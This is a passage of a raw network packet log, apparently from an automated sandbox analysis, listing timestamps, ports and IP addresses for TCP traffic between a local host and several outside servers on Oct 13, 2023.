Oct 13, 2023 16:06:10.952676058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.952738047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.952749968 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.953943014 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954000950 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.954014063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954385996 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954458952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.954472065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954560995 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954615116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.954627037 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954817057 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.954869986 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.954883099 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955009937 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955063105 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.955075026 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955244064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955296993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.955308914 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955421925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955475092 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.955487967 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955651999 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955704927 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.955718040 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955805063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.955857038 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.955869913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.956410885 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.956465960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.956476927 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.956557035 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.956609011 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.956620932 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.957551956 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.957606077 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.957617998 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.957990885 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.958049059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.958061934 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.958240032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.958287954 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.958295107 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.959049940 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.959103107 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.959110022 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.959923029 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.960040092 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.960047007 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.001602888 CEST	80	49780	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.001699924 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.003269911 CEST	80	49781	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.003364086 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.003673077 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.060555935 CEST	80	49777	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:11.070069075 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.102673054 CEST	80	49778	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:11.102710962 CEST	80	49778	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:11.102958918 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:11.104123116 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:11.108800888 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:11.113737106 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.113775969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.113806963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.113924980 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.114015102 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.114027977 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.114068031 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.114248991 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.114273071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.114322901 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.115902901 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.115923882 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.115963936 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.115988970 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.116233110 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.116306067 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.117014885 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.117079020 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.117830992 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.117892027 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.118273973 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.118343115 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.118845940 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.118983030 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.119808912 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.119899035 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.120764971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.120824099 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.121582985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.121640921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.121819973 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.121994972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.122729063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.122791052 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.123672009 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.123775005 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.124454021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.124537945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.124557972 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.124625921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.274426937 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.274523020 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.276377916 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.276442051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.276968956 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.277028084 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.278199911 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.278300047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.278413057 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.278470993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.279130936 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.279187918 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.279565096 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.279623985 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.279678106 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.279731035 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.280540943 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.280601025 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.281164885 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.281249046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.281966925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.282026052 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.282881975 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.282941103 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.283653021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.283709049 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.283921003 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.283977032 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.285250902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.285309076 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.285357952 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.285414934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.286283016 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.286336899 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.287126064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.287179947 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.287992001 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.288041115 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.288883924 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.288949966 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.289087057 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.289149046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.289896965 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.289963961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.291476965 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.291496992 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.291532993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.291567087 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.294334888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.294379950 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.294446945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.294446945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.294465065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.294504881 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.297550917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.297593117 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.297631979 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.297641039 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.297671080 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.297688961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.300403118 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.300452948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.300479889 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.300487995 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.300539017 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.300707102 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.303261042 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.303309917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.303329945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.303338051 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.303358078 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.303380013 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.305960894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.306006908 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.306055069 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.306065083 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.306094885 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.306112051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.309169054 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.309222937 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.309245110 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.309252977 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.309277058 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.309289932 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.327219009 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.327239990 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.327301025 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.327301979 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.327474117 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.327522993 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.327775002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.327840090 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.328372002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.328423023 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.328763008 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.328814030 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.328857899 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.328901052 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.328993082 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329037905 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329063892 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329113960 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329137087 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329188108 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329396009 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329444885 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329786062 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329834938 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329883099 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.329938889 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.329953909 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.330008030 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.358021975 CEST	80	49781	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.371228933 CEST	80	49781	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.371412039 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.388778925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.388853073 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.388887882 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.388907909 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.388973951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.388973951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.428939104 CEST	80	49778	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:11.436661959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.436738968 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.436882973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.436882973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.436897993 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.436959982 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.438201904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.438246012 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.438276052 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.438282013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.438307047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.438327074 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.440769911 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.440812111 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.440840006 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.440845966 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.440872908 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.440891981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.443435907 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.443480968 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.443511963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.443519115 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.443533897 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.443557978 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.446734905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.446774960 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.446805954 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.446811914 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.446841002 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.446867943 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.449603081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.449644089 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.449681997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.449696064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.449718952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.449739933 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.452231884 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.452275038 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.452303886 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.452310085 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.452328920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.452347040 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.454948902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.454996109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.455046892 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.455054045 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.455104113 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.458369017 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.458414078 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.458461046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.458467007 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.458481073 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.458507061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.461076975 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.461121082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.461153030 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.461159945 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.461186886 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.461206913 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.464158058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.464200974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.464236021 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.464241982 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.464261055 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.464282036 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.467284918 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.467335939 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.467366934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.467374086 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.467396021 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.467413902 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.470098972 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.470146894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.470187902 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.470195055 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.470221043 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.470233917 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.472978115 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.473020077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.473048925 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.473054886 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.473082066 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.473090887 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.475413084 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.475457907 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.475483894 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.475491047 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.475514889 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.475529909 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.477900028 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.478889942 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.479288101 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.479340076 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.479362965 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.479371071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.479403973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.479423046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.482057095 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.482099056 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.482125044 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.482131004 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.482157946 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.482176065 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.485485077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.485528946 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.485569000 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.485575914 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.485599995 CEST	49779	443	192.168.2.4	104.21.86.8
